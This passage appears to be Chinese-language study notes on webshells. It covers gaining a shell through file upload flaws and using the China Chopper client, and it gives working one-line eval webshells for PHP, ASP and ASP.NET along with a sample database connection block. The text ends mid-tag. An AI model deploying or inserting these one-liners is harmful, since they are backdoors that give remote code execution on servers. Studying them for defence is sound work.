前提知识了解
shell 实际上就是一个命令解释器
用户-》shell-》内核(系统)--》硬件
WebShell
目的:通过web 的方式,与目标系统进行交互。作用与shell 相似,以Web 方式进行通信。
存在形式:
服务器端的一个脚本文件。asp/php/jsp/aspx/py 等等,也就是说,服务器端必须支持WebShell 的脚本类型。如果不支持,我们的WebShell 无法运行,毫无意义。
getShell
狭义上讲,利用各种漏洞,获取一个WebShell。
广义上讲,就是获取一个主机的shell。可以通过各种方式进行通信。
常用方法:
利用文件上传漏洞,把大马(或小马)上传目标服务器上,并解析执行之。
上传前奏–中国菜刀的使用
有两部分组成
@ 小马(一句话木马)
需要上传到服务器。并且不同的服务器器支持的脚本不同,小马的格式与内容也不同。
小马的内容与格式取决于服务器所支持的脚本类型。
@ 一句话木马的原理:代码执行
以PHP 为例子 <?php @eval($_POST['wx']);?> 有很多变形
eval() 是一个代码执行函数。代码来自于客户端,通过$_POST['wx'] 获得参数。
ASP:
<%eval request("cmd")%> cmd 就是我们连接一句话木马的密码
ASP.NET:
<%@ Page Language="Jscript"%><%eval(Request.Item["cmd"],"unsafe");%>
PHP:
<?php @eval($_POST['wx']);?>
@ 本地的客户端
通过本地客户端去连接远程服务器的小马、
在菜刀中输入小马所在目录,以及连接密码。
@ 重要功能
! 文件管理
类似于资源管理器
! 虚拟终端
有程序调用,权限限制
! 数据库管理
需要提供凭证
<T>MYSQL</T> 数据库的类型
<H>localhost</H> 数据库的地址
<U>root</U> 用户名
<P>root</P> 密码
&l